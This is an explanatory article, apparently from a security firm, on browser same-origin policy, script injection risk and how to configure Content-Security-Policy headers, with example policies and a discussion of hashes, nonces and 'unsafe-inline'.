When you log in to a website, you identify yourself once – perhaps by entering a username and password, or by bouncing across to a social media site and back, or by tapping a security key or fingerprint reader – and then you’re logged in, and can browse around different pages of the site without having to log in again.
When you first log in, the site sends you a cookie, containing (typically) a secret value that identifies your session. As you browse the site, your browser sends that secret value along with each request, so the site can identify those requests as coming from you, and can give you a personalised experience.
Websites can also include Javascript programs that run in your browser (nowadays it’s rare to see a site that doesn’t use Javascript). Those Javascript programs can make HTTP requests. Now, if they could make HTTP requests including the secret session identifier from your cookie and read the response, that would obviously be bad – as any website could then access private data that was intended only for you.
To prevent this, browsers implement a policy known as same-origin policy, which states – if you’ll excuse a vast oversimplification – that Javascript on one website can’t read data retrieved from another website. To be a tiny bit more precise, Javascript on one origin can’t read data retrieved from another. An origin is the combination of protocol, host and port – for example https://example.com:8443. There’s a lot more to it than that; here’s a much more detailed and accurate description.
Same-origin policy works, but it fundamentally depends on the assumption that any Javascript code running on the website itself is implicitly trusted. If an attacker can inject Javascript code, for example by posting a comment containing a <script> tag, then that code can make requests using the cookies of any user who visits the page, and can read the private responses. For this reason, it’s important for web developers to ensure that Javascript code submitted by users can never be executed by the browser.
The traditional ways to do this are input validation and output transformation. Input validation in this context means checking what the user submitted, and if it contains potentially dangerous code, reject it.
This approach is somewhat brittle, because it assumes that you know at the point of submission how the user content will be eventually used – whereas a particular string might be perfectly safe to embed inside a <div> element, but might be dangerous when presented as an HTML attribute, for example.
Output transformation means modifying the user content at display time, when you know where it’s going to appear, to convert it into a form that’s safe to display in that context. This is more reliable, but can also be a lot more work – which can make it easy to miss a few odd cases.
Content-Security-Policy (CSP) is one of several HTTP headers that allow you (as a website operator) to advise browsers to restrict what your website can do. That may not sound like a great thing! But it means that if you know what your site should be able to do, you can tell browsers to prevent it from unintentionally doing other things.
CSP in particular allows you to restrict the locations from which resources (scripts, styles, images etc) can be loaded, as well as preventing embedding the site in an iframe (or controlling which sites are allowed to do this), blocking insecure HTTP requests from an HTTPS site, etc. All of this is useful and important, but the most relevant bit for our purposes is the ability to restrict the locations from which scripts can be loaded.
It’s important to understand that (at least for now) CSP is not a complete defence against script injection, mostly because IE doesn’t fully support it.
So, you still need to deploy the other defences as well. But it can already limit the damage, and hopefully someday IE will be fully replaced by Edge and other browsers, at which point CSP will become much more powerful.
Here’s an example of a Content-Security-Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com
This allows the browser to load scripts from the same origin as the page (‘self’), as well as from https://example.com; all other resources (images, styles etc) can only be loaded from the same origin.
Here’s a real example from a project:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; object-src 'none'; frame-ancestors 'none'; upgrade-insecure-requests
The default-src directive provides a fallback for any of the resource type specific directives that aren’t explicitly specified. So, here I’ve specified explicit sources for images and objects (images can be loaded from the same origin or from data URIs, while objects can’t be loaded at all); everything else, including scripts and styles, uses the default I’ve specified which is to allow loading only from the same origin.
There are also two additional directives: frame-ancestors ‘none’ prevents the page from being framed, which helps to prevent clickjacking attacks, and upgrade-insecure-requests ensures that all subresources are loaded over HTTPS, even if they’re requested over HTTP by third party scripts (such as advertising or analytics scripts for example).
So, how does this actually help? Injected scripts come from the same origin as legitimate ones, right? Well, for the purposes of CSP, inline scripts (and styles, which can be almost as dangerous – especially in older browsers) are treated specially and need to be allowed explicitly – just specifying ‘self’ won’t allow them. Ideally, if you don’t have any inline scripts or styles, you can just allow ‘self’ and whatever external script sources you require, and nobody should be able to inject anything inline via your HTML documents.
While it’s safest to avoid inline scripts and styles entirely if you can, CSP does provide several ways to allow them.
The best option is to explicitly allow the particular inline scripts that you need by specifying cryptographic hashes of their contents.
Here’s an example:
Content-Security-Policy: script-src 'sha256-gj4FLpwFgWrJxA7NLcFCWSwEF/PMnmWidszB6OONAAo='
The supported hashing algorithms are sha256, sha384, and sha512. Generate a base 64 encoded hash of the script tag contents, not including the opening and closing script tags themselves, and pop it in the CSP header, and that script is allowed to run.
The next best option is to use a ‘nonce’. This is a random unguessable string that changes each time the page is viewed. The same value is specified in the CSP header as an attribute of the script tag.
This approach is less ideal as it makes it impossible to fully cache the HTML – because the nonce value has to be different for every page view. If the nonce were to be reused, then an attacker could inject their own script with the correct nonce and it would be executed. It’s also very easy to reuse a nonce unintentionally. I don’t recommend this approach so I won’t provide an example here.
Finally, the simplest but most dangerous way to allow inline scripts is to specify the special source ‘unsafe-inline’. This essentially disables CSP’s protection against script injection entirely. Don’t use this if you want protection against script injection.
Get in touch with us to find out more specific details about how to deploy CSP on your site.